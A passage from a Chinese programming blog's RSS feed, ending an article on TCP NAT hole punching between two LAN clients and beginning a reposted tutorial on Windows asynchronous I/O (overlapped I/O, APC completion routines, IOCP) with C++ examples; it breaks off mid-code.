e.GetErrorMessage( szError, sizeof(szError) );
printf ( "Exception occur, %s\n", szError );
return FALSE;
}
return TRUE;
}
</pre>
<p>在客户端B打洞和侦听准备好以后，服务器S回复客户端A，客户端A便直接与客户端B的公网IP和端口进行连接，收发数据可以正常进行，为了测试是否真正地直接TCP连接，在数据收发过程中可以将服务器S强行终止，看是否数据收发还正常进行着。</p>
<p>程序执行步骤和方法：</p>
<ol>
    <li>要准备好环境，如果要真实测试的话需要用2个连到公网上的局域网，1台具有公网地址的电脑（为了协助我测试，小曹、小妞可费了不少心，我还霸占了他们家的电脑，在此表示感谢）。如果不是这样的环境，程序执行可能会不正常，因为我暂时未做相同局域网的处理。
    <li>在具有公网地址的电脑上执行&#8220;TcpHoleSrv.exe&#8221;程序，假设这台电脑的公网IP地址是&#8220;129.208.12.38&#8221;。
    <li>在局域网A中的一台电脑上执行&#8220;TcpHoleClt-A.exe 129.208.12.38&#8221;
    <li>在局域网B中的一台电脑上执行&#8220;TcpHoleClt-B.exe 129.208.12.38&#8221; </li>
</ol>
<p>程序执行成功后的界面：客户端出现&#8220;Send Data&#8221;或者&#8220;Received Data&#8221;表示穿越NAT的TCP连接已经建立起来，数据收发已经OK。</p>
<br><img height=328 src="http://www.vckbase.com/document/journal/vckbase51/images/tcp12.gif" width=507><br>服务器S<br><br><img height=344 src="http://www.vckbase.com/document/journal/vckbase51/images/tcp13.gif" width=510><br>客户端A<br><br><img height=355 src="http://www.vckbase.com/document/journal/vckbase51/images/tcp14.gif" width=520><br>客户端B<br><br><br>
<p>本代码在Windows XP、一个天威局域网、一个电信局域网、一个电话拨号网络中测试通过。<br>由于时间和水平的关系，代码和文章写得都不咋的，但愿能起到抛砖引玉的作用。代码部分只是实现了不同局域网之间的客户端相互连接的问题，至于相同局域网内的主机或者其中一台客户端本身就具有公网IP的问题这里暂时未做考虑（因为那些处理实在太简单了，比较一下掩码或者公网IP就能判断出来的）；另外程序的防错性代码重用性也做得不好，只是实现了功能，我想 </p>
<img src ="http://www.cppblog.com/iniwf/aggbug/79093.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-06 14:01 <a href="http://www.cppblog.com/iniwf/archive/2009/04/06/79093.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows系统编程之异步I/O和完成端口</title><link>http://www.cppblog.com/iniwf/archive/2009/04/06/79092.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Mon, 06 Apr 2009 05:51:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/06/79092.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79092.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/06/79092.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79092.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79092.html</trackback:ping><description><![CDATA[转自<a href="http://bbs.pediy.com/showthread.php?s=&amp;threadid=28342">http://bbs.pediy.com/showthread.php?s=&amp;threadid=28342</a><br><br>
<table class=tborder id=post199209 style="BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; BORDER-LEFT: #000000 1px solid; BORDER-BOTTOM: #000000 1px solid" cellSpacing=0 cellPadding=5 width="100%" align=center border=0 ?>
    <tbody>
        <tr vAlign=top>
            <td class=alt2 id=td_post_199209>
            <table class=tb cellSpacing=0 cellPadding=0 width="100%" border=0>
                <tbody>
                    <tr>
                        <td>
                        <div class=bword id=post_message_199209 style="LINE-HEIGHT: 18px"><font size=4>Windows系统编程之异步I/O和完成端口</font><br>【作者】北极星2003<br>【来源】看雪技术论坛（bbs.pediy.com）&nbsp;<br>【时间】2006年7月1日<br><br>一、&nbsp;&nbsp;同步I/O和异步I/O<br><br>在介绍这部分内容之前先来认识下&#8220;异步I/O&#8221;。<br>&nbsp;&nbsp;说起异步IO，很容易联想到同步I/O，对于同一个I/O对象句柄在同一时刻只允许一个I/O操作，其原理如下图所示：<br>&nbsp;<img onmouseover="this.style.cursor='pointer';" title=http://bbs.pediy.com/upload/2006/41/image/1.gif_796.gif style="CURSOR: pointer" onclick="window.open('http://bbs.pediy.com/upload/2006/41/image/1.gif_796.gif');" alt=http://bbs.pediy.com/upload/2006/41/image/1.gif_796.gif src="http://bbs.pediy.com/upload/2006/41/image/1.gif_796.gif" onload="if(this.width>screen.width*0.6) {this.width=screen.width*0.6;this.alt='此图已经缩小，点击察看原图。';}" border=0>&nbsp;<br><br>&nbsp;&nbsp;显然，当内核真正处理I/O的时间段（T2~T4），用户线程是处于等待状态的，如果这个时间段比较段的话，没有什么影响；倘若这个时间段很长的话，线程就会长时间处于挂起状态。事实上，该线程完全可以利用这段时间用处理其他事务。<br><br>&nbsp;&nbsp;异步I/O恰好可以解决同步I/O中的问题，而且支持对同一个I/O对象的并行处理，其原理如下图所示：<br>&nbsp;<img onmouseover="this.style.cursor='pointer';" title=http://bbs.pediy.com/upload/2006/41/image/2.gif_801.gif onclick="window.open('http://bbs.pediy.com/upload/2006/41/image/2.gif_801.gif');" alt=http://bbs.pediy.com/upload/2006/41/image/2.gif_801.gif src="http://bbs.pediy.com/upload/2006/41/image/2.gif_801.gif" onload="if(this.width>screen.width*0.6) {this.width=screen.width*0.6;this.alt='此图已经缩小，点击察看原图。';}" border=0>&nbsp;<br><br>&nbsp;&nbsp;异步I/O在I/O请求完成时，可以使用让I/O对象或者事件对象受信来通知用户线程，而用户线程中可以使用GetOverlappedResult来查看I/O的执行情况。<br>&nbsp;&nbsp;<br>由于异步I/O在进行I/O请求后会立即返回，这样就会产生一个问题：&#8220;程序是如何取得I/O处理的结果的？&#8221;。<br><br>&nbsp;&nbsp;有多种方法可以实现异步I/O，其不同资料上的分类一般都不尽相同，但原理上都类似，这里我把实现异步I/O的方法分为3类，本文就针对这3类方法进行详细的讨论。<br>（1）重叠I/O<br>（2）异步过程调用（APC），扩展I/O<br>（3）使用完成端口（IOCP）<br><br>二、使用重叠I/O实现异步I/O<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;同一个线程可以对多个I/O对象进行I/O操作，不同的线程也可以对同一个I/O对象进行操作，在我的理解中，重叠的命名就是这么来的。<br><br>&nbsp;&nbsp;在使用重叠I/O时，线程需要创建OVERLAPPED结构以供I/O处理。该结构中最重要的成员是hEvent，它是作为一个同步对象而存在，如果hEvent为NULL，那么此时的同步对象即为文件句柄、管道句柄等I/O操作对象。当I/O完成后，会使这里的同步对象受信，从而通知用户线程。<br><br>&nbsp;&nbsp;由于在进行I/O请求后会立即返回，但有时用户线程需要知道I/O当前的执行情况，此时就可以使用GetOverlappedResult。如果该函数的bWait参数为true,那么改函数就会阻塞线程直到目标I/O处理完成为止；如果bWait为false，那么就会立即返回，如果此时的I/O尚未完，调用GetLastError就会返回ERROR_IO_INCOMPLETE。<br><br>代码示例一：<br>
                        <div style="MARGIN: 5px 20px 20px">
                        <div class=smallfont style="MARGIN-BOTTOM: 2px">代码:</div>
                        <pre dir=ltr style="BORDER-RIGHT: 1px inset; PADDING-RIGHT: 5px; BORDER-TOP: 1px inset; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; MARGIN: 0px; OVERFLOW: auto; BORDER-LEFT: 1px inset; WIDTH: 640px; PADDING-TOP: 5px; BORDER-BOTTOM: 1px inset; BACKGROUND-COLOR: #dedfdf; TEXT-ALIGN: left">DWORD&nbsp;&nbsp;&nbsp;nReadByte&nbsp;;
                        BYTE&nbsp;&nbsp;&nbsp;bBuf[BUF_SIZE]&nbsp;;
                        OVERLAPPED&nbsp;ov&nbsp;=&nbsp;{&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;NULL&nbsp;}&nbsp;;&nbsp;&nbsp;//&nbsp;hEvent&nbsp;=&nbsp;NULL&nbsp;;
                        HANDLE&nbsp;hFile&nbsp;=&nbsp;CreateFile&nbsp;(&nbsp;&#8230;&#8230;,&nbsp;FILE_FLAG_OVERLAPPED,&nbsp;&#8230;&#8230;&nbsp;)&nbsp;;
                        ReadFile&nbsp;(&nbsp;hFile,&nbsp;bBuf,&nbsp;sizeof(bBuf),&nbsp;&amp;nReadByte,&nbsp;&amp;ov&nbsp;)&nbsp;;
                        //&nbsp;由于此时hEvent=NULL，所以同步对象为hFile,下面两句的效果一样
                        WaitForSingleObject&nbsp;(&nbsp;hFile,&nbsp;INFINITE&nbsp;)&nbsp;;
                        //GetOverlappedResult&nbsp;(&nbsp;hFile,&nbsp;&amp;ov,&nbsp;&amp;nRead,&nbsp;TRUE&nbsp;)&nbsp;;
                        </pre>
                        </div>
                        这段代码在调用ReadFile后会立即返回，但在随后的WaitForSingleObject或者GetOverlappedResult中阻塞，利用同步对象hFile进行同步。<br><br>&nbsp;&nbsp;这段代码在这里可以实现正常的异步I/O，但存在一个问题，倘若现在需要对hFile句柄进行多个I/O操作，就会出现问题。见下面这段代码。<br><br>代码示例二：<br>
                        <div style="MARGIN: 5px 20px 20px">
                        <div class=smallfont style="MARGIN-BOTTOM: 2px">代码:</div>
                        <pre dir=ltr style="BORDER-RIGHT: 1px inset; PADDING-RIGHT: 5px; BORDER-TOP: 1px inset; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; MARGIN: 0px; OVERFLOW: auto; BORDER-LEFT: 1px inset; WIDTH: 640px; PADDING-TOP: 5px; BORDER-BOTTOM: 1px inset; BACKGROUND-COLOR: #dedfdf; TEXT-ALIGN: left">DWORD&nbsp;&nbsp;&nbsp;nReadByte&nbsp;;
                        BYTE&nbsp;&nbsp;&nbsp;bBuf1[BUF_SIZE],bBuf2[BUF_SIZE],bBuf3[BUF_SIZE]&nbsp;;
                        OVERLAPPED&nbsp;ov1&nbsp;=&nbsp;{&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;NULL&nbsp;}&nbsp;;&nbsp;&nbsp;
                        OVERLAPPED&nbsp;ov2&nbsp;=&nbsp;{&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;NULL&nbsp;}&nbsp;;&nbsp;&nbsp;
                        OVERLAPPED&nbsp;ov3&nbsp;=&nbsp;{&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;NULL&nbsp;}&nbsp;;&nbsp;&nbsp;
                        HANDLE&nbsp;hFile&nbsp;=&nbsp;CreateFile&nbsp;(&nbsp;&#8230;&#8230;,&nbsp;FILE_FLAG_OVERLAPPED,&nbsp;&#8230;&#8230;&nbsp;)&nbsp;;
                        ReadFile&nbsp;(&nbsp;hFile,&nbsp;bBuf1,&nbsp;sizeof(bBuf1),&nbsp;&amp;nReadByte,&nbsp;&amp;ov1&nbsp;)&nbsp;;
                        ReadFile&nbsp;(&nbsp;hFile,&nbsp;bBuf2,&nbsp;sizeof(bBuf2),&nbsp;&amp;nReadByte,&nbsp;&amp;ov2&nbsp;)&nbsp;;
                        ReadFile&nbsp;(&nbsp;hFile,&nbsp;bBuf3,&nbsp;sizeof(bBuf3),&nbsp;&amp;nReadByte,&nbsp;&amp;ov3&nbsp;)&nbsp;;
                        //假设三个I/O处理的时间比较长，到这里还没有结束
                        GetOverlappedResult&nbsp;(&nbsp;hFile,&nbsp;&amp;ov1,&nbsp;&amp;nRead,&nbsp;TRUE&nbsp;)&nbsp;;
                        </pre>
                        </div>
                        &nbsp;&nbsp;这里对于hFile有三个重叠的I/O操作，但他们的同步对象却都为hFile。使用GetOverlappedResult进行等待操作，这里看似在等待第一个I/O处理的完成，其实只要有任何一个I/O处理完成，该函数就会返回，相当于忽略了其他两个I/O操作的结果。<br><br>&nbsp;&nbsp;其实，这里有一个很重要的原则：对于一个重叠句柄上有多于一个I/O操作的时候，应该使用事件对象而不是文件句柄来实现同步。正确的实现见示例三。<br>&nbsp;&nbsp;<br>代码示例三：<br>
                        <div style="MARGIN: 5px 20px 20px">
                        <div class=smallfont style="MARGIN-BOTTOM: 2px">代码:</div>
                        <pre dir=ltr style="BORDER-RIGHT: 1px inset; PADDING-RIGHT: 5px; BORDER-TOP: 1px inset; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; MARGIN: 0px; OVERFLOW: auto; BORDER-LEFT: 1px inset; WIDTH: 640px; PADDING-TOP: 5px; BORDER-BOTTOM: 1px inset; BACKGROUND-COLOR: #dedfdf; TEXT-ALIGN: left">DWORD&nbsp;&nbsp;&nbsp;nReadByte&nbsp;;
                        BYTE&nbsp;&nbsp;&nbsp;bBuf1[BUF_SIZE],bBuf2[BUF_SIZE],bBuf3[BUF_SIZE]&nbsp;;
                        HANDLE&nbsp;&nbsp;hEvent1&nbsp;=&nbsp;CreateEvent&nbsp;(&nbsp;NULL,&nbsp;FALSE,&nbsp;FALSE,&nbsp;NULL&nbsp;)&nbsp;;&nbsp;
                        HANDLE&nbsp;&nbsp;hEvent2&nbsp;=&nbsp;CreateEvent&nbsp;(&nbsp;NULL,&nbsp;FALSE,&nbsp;FALSE,&nbsp;NULL&nbsp;)&nbsp;;
                        HANDLE&nbsp;&nbsp;hEvent3&nbsp;=&nbsp;CreateEvent&nbsp;(&nbsp;NULL,&nbsp;FALSE,&nbsp;FALSE,&nbsp;NULL&nbsp;)&nbsp;;
                        OVERLAPPED&nbsp;ov1&nbsp;=&nbsp;{&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;hEvent1&nbsp;}&nbsp;;&nbsp;&nbsp;
                        OVERLAPPED&nbsp;ov2&nbsp;=&nbsp;{&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;hEvent2&nbsp;}&nbsp;;&nbsp;&nbsp;
                        OVERLAPPED&nbsp;ov3&nbsp;=&nbsp;{&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;hEvent3&nbsp;}&nbsp;;&nbsp;&nbsp;
                        HANDLE&nbsp;hFile&nbsp;=&nbsp;CreateFile&nbsp;(&nbsp;&#8230;&#8230;,&nbsp;FILE_FLAG_OVERLAPPED,&nbsp;&#8230;&#8230;&nbsp;)&nbsp;;
                        ReadFile&nbsp;(&nbsp;hFile,&nbsp;bBuf1,&nbsp;sizeof(bBuf1),&nbsp;&amp;nReadByte,&nbsp;&amp;ov1&nbsp;)&nbsp;;
                        ReadFile&nbsp;(&nbsp;hFile,&nbsp;bBuf2,&nbsp;sizeof(bBuf2),&nbsp;&amp;nReadByte,&nbsp;&amp;ov2&nbsp;)&nbsp;;
                        ReadFile&nbsp;(&nbsp;hFile,&nbsp;bBuf3,&nbsp;sizeof(bBuf3),&nbsp;&amp;nReadByte,&nbsp;&amp;ov3&nbsp;)&nbsp;;
                        //此时3个I/O操作的同步对象分别为hEvent1,hEvent2,hEvent3
                        GetOverlappedResult&nbsp;(&nbsp;hFile,&nbsp;&amp;ov1,&nbsp;&amp;nRead,&nbsp;TRUE&nbsp;)&nbsp;;
                        </pre>
                        </div>
                        &nbsp;&nbsp;这样，这个GetOverlappedResult就可以实现对第一个I/O处理的等待<br>关于重叠I/O的就讨论到这里，关于重叠I/O的实际应用，可以参考《Windows系统编程之进程通信》其中的命名管道实例。<br>http://bbs.pediy.com/showthread.php?s=&amp;threadid=26252<br>&nbsp;<br>三、&nbsp;&nbsp;使用异步过程调用实现异步I/O<br><br>异步过程调用（APC），即在特定的上下文中异步的执行一个调用。在异步I/O中可以使用APC，即让操作系统的IO系统在完成异步I/O后立即调用你的程序。（在有些资料中，把异步I/O中的APC称为&#8220;完成例程&#8221;，感觉这个名称比较贴切，下文就以&#8220;完成例程&#8221;来表述。另外通常APC是作为线程同步这一块的内容，这里尽量淡化这个概念以免混淆。关于APC的详细内容到线程同步时再介绍&nbsp;）<br><br>这里需要注意三点：<br>（1）&nbsp;&nbsp;APC总是在调用线程中被调用；<br>（2）&nbsp;&nbsp;当执行APC时，调用线程会进入可变等待状态；<br>（3）&nbsp;&nbsp;线程需要使用扩展I/O系列函数，例如ReadFileEx,WriteFileEx,&nbsp;另外可变等待函数也是必须的（至少下面其中之一）：<br>WaitForSingleObjectEx<br>WaitForMultipleObjectEx<br>SleepEx<br>SignalObjectAndWait<br>MsgWaitForMultipleObjectsEx<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;在使用ReadFileEx,WriteFileEx时，重叠结构OVERLAPPED中的hEvent成员并非一定要指定，因为系统会忽略它。当多个IO操作共用同一个完成例程时，可以使用hEvent来携带序号等信息，用于区别不同的I/O操作，因为该重叠结构会传递给完成例程。如果多个IO操作使用的完成例程都不相同时，则直接把hEvent设置为NULL就可以了。<br><br>在系统调用完成例程有两个条件：<br>（1）&nbsp;&nbsp;I/O操作必须完成<br>（2）&nbsp;&nbsp;调用线程处于可变等待状态<br><br>对于第一个条件比较容易，显然完成例程只有在I/O操作完成时才调用；至于第二个条件就需要进行认为的控制，通过使用可变等待函数，让调用线程处于可变等待状态，这样就可以执行完成例程了。这里可以通过调节调用可变等待函数的时机来控制完成例程的执行，即可以确保完成例程不会被过早的执行。<br><br>当线程具有多个完成例程时，就会形成一个队列。使用可变等待函数使线程进入可变等待状态时有一个表示超时值的参数，如果使用INFINITE，那么只有所有排队的完成例程被执行或者句柄获得信号时该等待函数才返回。<br><br>上面已经对利用完成例程实现异步I/O的一些比较重要的细节进行的简洁的阐述，接下来就以一个实例来说明完成例程的具体实现过程。<br><br><br><br>实例一：使用完成例程的异步I/O示例<br><br>1、&nbsp;&nbsp;设计目标<br>体会完成例程的异步I/O实现原理及过程。<br><br>2、&nbsp;&nbsp;问题的分析与设计<br>设计流程图如下：<br>&nbsp;<img onmouseover="this.style.cursor='pointer';" title=http://bbs.pediy.com/upload/2006/41/image/3.gif_812.gif style="CURSOR: pointer" onclick="window.open('http://bbs.pediy.com/upload/2006/41/image/3.gif_812.gif');" alt=http://bbs.pediy.com/upload/2006/41/image/3.gif_812.gif src="http://bbs.pediy.com/upload/2006/41/image/3.gif_812.gif" onload="if(this.width>screen.width*0.6) {this.width=screen.width*0.6;this.alt='此图已经缩小，点击察看原图。';}" border=0>&nbsp;<br>示图说明：<br>&nbsp;&nbsp;三个IO操作分别是IO_A,&nbsp;IO_B,&nbsp;IO_C,&nbsp;他们的完成例程分别是APC_A,&nbsp;APC_B,&nbsp;APC_C。IO_A,&nbsp;IO_B是两个很短的IO操作，IO_C是一个比较费时的IO操作。<br>3、&nbsp;&nbsp;详细设计（关键代码如下,具体参见附件中的源代码CompletionRoutine）<br>
                        <div style="MARGIN: 5px 20px 20px">
                        <div class=smallfont style="MARGIN-BOTTOM: 2px">代码:</div>
                        <pre dir=ltr style="BORDER-RIGHT: 1px inset; PADDING-RIGHT: 5px; BORDER-TOP: 1px inset; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; MARGIN: 0px; OVERFLOW: auto; BORDER-LEFT: 1px inset; WIDTH: 640px; PADDING-TOP: 5px; BORDER-BOTTOM: 1px inset; BACKGROUND-COLOR: #dedfdf; TEXT-ALIGN: left">VOID&nbsp;WINAPI&nbsp;APC_A&nbsp;(&nbsp;DWORD&nbsp;dwError,&nbsp;DWORD&nbsp;cbTransferred,&nbsp;LPOVERLAPPED&nbsp;lpo&nbsp;)
                        {
                        &nbsp;&nbsp;pTempInfo.push_back&nbsp;(&nbsp;"执行IO_A的完成例程"&nbsp;)&nbsp;;
                        }
                        VOID&nbsp;WINAPI&nbsp;APC_B&nbsp;(&nbsp;DWORD&nbsp;dwError,&nbsp;DWORD&nbsp;cbTransferred,&nbsp;LPOVERLAPPED&nbsp;lpo&nbsp;)
                        {
                        &nbsp;&nbsp;pTempInfo.push_back&nbsp;(&nbsp;"执行IO_B的完成例程"&nbsp;)&nbsp;;
                        }
                        VOID&nbsp;WINAPI&nbsp;APC_C&nbsp;(&nbsp;DWORD&nbsp;dwError,&nbsp;DWORD&nbsp;cbTransferred,&nbsp;LPOVERLAPPED&nbsp;lpo&nbsp;)
                        {
                        &nbsp;&nbsp;pTempInfo.push_back&nbsp;(&nbsp;"执行IO_C的完成例程"&nbsp;)&nbsp;;
                        }
                        void&nbsp;CCompletionRoutineDlg::OnTest()&nbsp;
                        {
                        &nbsp;&nbsp;//&nbsp;TODO:&nbsp;Add&nbsp;your&nbsp;control&nbsp;notification&nbsp;handler&nbsp;code&nbsp;here
                        &nbsp;&nbsp;HANDLE&nbsp;&nbsp;&nbsp;&nbsp;hFile_A,&nbsp;hFile_B,&nbsp;hFile_C&nbsp;;
                        &nbsp;&nbsp;OVERLAPPED&nbsp;&nbsp;ov_A&nbsp;=&nbsp;{0},&nbsp;ov_B&nbsp;=&nbsp;{0},&nbsp;ov_C&nbsp;=&nbsp;{0}&nbsp;;
                        #define&nbsp;C_SIZE&nbsp;1024&nbsp;*&nbsp;1024&nbsp;*&nbsp;32
                        &nbsp;&nbsp;string&nbsp;&nbsp;szText_A&nbsp;=&nbsp;"Sample&nbsp;A&nbsp;!"&nbsp;;
                        &nbsp;&nbsp;string&nbsp;&nbsp;szText_B&nbsp;=&nbsp;"Sampel&nbsp;B&nbsp;!"&nbsp;;
                        &nbsp;&nbsp;string&nbsp;&nbsp;szText_C&nbsp;;
                        &nbsp;&nbsp;szText_C.resize&nbsp;(&nbsp;C_SIZE&nbsp;)&nbsp;;
                        &nbsp;&nbsp;memset&nbsp;(&nbsp;&amp;(szText_C[0]),&nbsp;0x40,&nbsp;C_SIZE&nbsp;)&nbsp;;
                        &nbsp;&nbsp;
                        &nbsp;&nbsp;pTempInfo.clear&nbsp;()&nbsp;;
                        &nbsp;&nbsp;hFile_A&nbsp;=&nbsp;CreateFile&nbsp;(&nbsp;"A.txt",&nbsp;GENERIC_WRITE,&nbsp;0,&nbsp;NULL,&nbsp;\
                        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CREATE_ALWAYS,&nbsp;FILE_FLAG_OVERLAPPED,&nbsp;NULL&nbsp;)&nbsp;;
                        &nbsp;&nbsp;hFile_B&nbsp;=&nbsp;CreateFile&nbsp;(&nbsp;"B.txt",&nbsp;GENERIC_WRITE,&nbsp;0,&nbsp;NULL,&nbsp;\
                        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CREATE_ALWAYS,&nbsp;FILE_FLAG_OVERLAPPED,&nbsp;NULL&nbsp;)&nbsp;;
                        &nbsp;&nbsp;hFile_C&nbsp;=&nbsp;CreateFile&nbsp;(&nbsp;"C.txt",&nbsp;GENERIC_WRITE,&nbsp;0,&nbsp;NULL,&nbsp;\
                        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CREATE_ALWAYS,&nbsp;FILE_FLAG_OVERLAPPED,&nbsp;NULL&nbsp;)&nbsp;;
                        &nbsp;&nbsp;WriteFileEx&nbsp;(&nbsp;hFile_A,&nbsp;&amp;(szText_A[0]),&nbsp;szText_A.length(),&nbsp;&amp;ov_A,&nbsp;APC_A&nbsp;)&nbsp;;
                        &nbsp;&nbsp;pTempInfo.push_back&nbsp;(&nbsp;"启动IO_A,&nbsp;并立即返回"&nbsp;)&nbsp;;
                        &nbsp;&nbsp;WriteFileEx&nbsp;(&nbsp;hFile_B,&nbsp;&amp;(szText_B[0]),&nbsp;szText_B.length(),&nbsp;&amp;ov_B,&nbsp;APC_B&nbsp;)&nbsp;;
                        &nbsp;&nbsp;pTempInfo.push_back&nbsp;(&nbsp;"启动IO_B,&nbsp;并立即返回"&nbsp;)&nbsp;;
                        &nbsp;&nbsp;WriteFileEx&nbsp;(&nbsp;hFile_C,&nbsp;&amp;(szText_C[0]),&nbsp;szText_C.size(),&nbsp;&amp;ov_C,&nbsp;APC_C&nbsp;)&nbsp;;
                        &nbsp;&nbsp;pTempInfo.push_back&nbsp;(&nbsp;"启动IO_C,&nbsp;并立即返回"&nbsp;)&nbsp;;
                        &nbsp;&nbsp;pTempInfo.push_back&nbsp;(&nbsp;"进入可变等待状态"&nbsp;)&nbsp;;
                        &nbsp;&nbsp;SleepEx&nbsp;(&nbsp;1,&nbsp;true&nbsp;)&nbsp;;
                        &nbsp;&nbsp;pTempInfo.push_back&nbsp;(&nbsp;"结束可变等待状态"&nbsp;)&nbsp;;
                        &nbsp;&nbsp;pTempInfo.push_back&nbsp;(&nbsp;"进入可变等待状态"&nbsp;)&nbsp;;
                        &nbsp;&nbsp;SleepEx&nbsp;(&nbsp;10000,&nbsp;true&nbsp;)&nbsp;;
                        &nbsp;&nbsp;pTempInfo.push_back&nbsp;(&nbsp;"结束可变等待状态"&nbsp;)&nbsp;;
                        &nbsp;&nbsp;CloseHandle&nbsp;(&nbsp;hFile_A&nbsp;)&nbsp;;
                        &nbsp;&nbsp;CloseHandle&nbsp;(&nbsp;hFile_B&nbsp;)&nbsp;;
                        &nbsp;&nbsp;CloseHandle&nbsp;(&nbsp;hFile_C&nbsp;)&nbsp;;
                        &nbsp;&nbsp;m_ListBox.ResetContent&nbsp;()&nbsp;;
                        &nbsp;&nbsp;
                        &nbsp;&nbsp;list&lt;string&gt;::iterator&nbsp;p&nbsp;;
                        &nbsp;&nbsp;for&nbsp;(&nbsp;p&nbsp;=&nbsp;pTempInfo.begin();&nbsp;p&nbsp;!=&nbsp;pTempInfo.end();&nbsp;p++&nbsp;)
                        &nbsp;&nbsp;{
                        &nbsp;&nbsp;&nbsp;&nbsp;m_ListBox.AddString&nbsp;(&nbsp;p-&gt;data()&nbsp;)&nbsp;;
                        &nbsp;&nbsp;}
                        &nbsp;&nbsp;DeleteFile&nbsp;(&nbsp;"A.txt"&nbsp;)&nbsp;;
                        &nbsp;&nbsp;DeleteFile&nbsp;(&nbsp;"B.txt"&nbsp;)&nbsp;;
                        &nbsp;&nbsp;DeleteFile&nbsp;(&nbsp;"C.txt"&nbsp;)&nbsp;;
                        }
                        </pre>
                        </div>
                        执行后的效果如下（WinXP+SP2+VC6.0）：<br>&nbsp;<img onmouseover="this.style.cursor='pointer';" title=http://bbs.pediy.com/upload/2006/41/image/pic.gif onclick="window.open('http://bbs.pediy.com/upload/2006/41/image/pic.gif');" alt=http://bbs.pediy.com/upload/2006/41/image/pic.gif src="http://bbs.pediy.com/upload/2006/41/image/pic.gif" onload="if(this.width>screen.width*0.6) {this.width=screen.width*0.6;this.alt='此图已经缩小，点击察看原图。';}" border=0>&nbsp;<br><br>4、&nbsp;&nbsp;心得体会<br>每当一个IO操作结束时会产生一个完成信息，如果该IO操作有完成例程的话就添加到完成例程队列。一旦调用线程进入可变等待状态，就会依次执行队列中的完成例程。<br>在这个示例中还有一个问题，如果把这个软件放在系统分区的文件目录下可以正常执行，而放在其他盘符下就会出现问题，执行结果就不同，真是奇怪了。<br><br><br>四、使用完成端口（IOCP）<br><br>实例二、使用IOCP的异步I/O示例<br>1、设计目标<br>体会完成端口的异步I/O实现原理及过程。<br><br>2、&nbsp;&nbsp;问题的分析与设计<br><img onmouseover="this.style.cursor='pointer';" title=http://bbs.pediy.com/upload/2006/41/image/4.gif_818.gif onclick="window.open('http://bbs.pediy.com/upload/2006/41/image/4.gif_818.gif');" alt=http://bbs.pediy.com/upload/2006/41/image/4.gif_818.gif src="http://bbs.pediy.com/upload/2006/41/image/4.gif_818.gif" onload="if(this.width>screen.width*0.6) {this.width=screen.width*0.6;this.alt='此图已经缩小，点击察看原图。';}" border=0>&nbsp;<br><br>说明：<br>&nbsp;&nbsp;每个客户端与一个管道进行交互，而在交互过程中I/O操作结束后产生的完成包就会进入&#8220;I/O完成包队列&#8221;。完成端口的线程队列中的线程使用GetQueuedCompletionStatus来检测&#8220;I/O完成包队列&#8221;中是否有完成包信息。&nbsp;<br>3、详细设计（关键代码如下，具体见附件中的源码）<br>
                        <div style="MARGIN: 5px 20px 20px">
                        <div class=smallfont style="MARGIN-BOTTOM: 2px">代码:</div>
                        <pre dir=ltr style="BORDER-RIGHT: 1px inset; PADDING-RIGHT: 5px; BORDER-TOP: 1px inset; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; MARGIN: 0px; OVERFLOW: auto; BORDER-LEFT: 1px inset; WIDTH: 640px; PADDING-TOP: 5px; BORDER-BOTTOM: 1px inset; BACKGROUND-COLOR: #dedfdf; TEXT-ALIGN: left">UINT&nbsp;ServerThread&nbsp;(&nbsp;LPVOID&nbsp;lpParameter&nbsp;)
                        {
                        &nbsp;&nbsp;&#8230;&#8230;
                        &nbsp;&nbsp;while&nbsp;(&nbsp;true&nbsp;)
                        &nbsp;&nbsp;{
                        &nbsp;&nbsp;&nbsp;&nbsp;GetQueuedCompletionStatus&nbsp;(&nbsp;pMyDlg-&gt;hCompletionPort,&nbsp;&amp;cbTrans,&nbsp;&amp;dwCompletionKey,&nbsp;&amp;lpov,&nbsp;INFINITE&nbsp;)&nbsp;;
                        &nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;dwCompletionKey&nbsp;==&nbsp;-1&nbsp;)
                        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break&nbsp;;
                        &nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;读取管道信息
                        &nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;响应管道信息（写入）
                        &nbsp;&nbsp;}
                        &nbsp;&nbsp;return&nbsp;0&nbsp;;
                        }
                        void&nbsp;CMyDlg::OnStart()&nbsp;
                        {
                        &nbsp;&nbsp;//&nbsp;创建完成端口
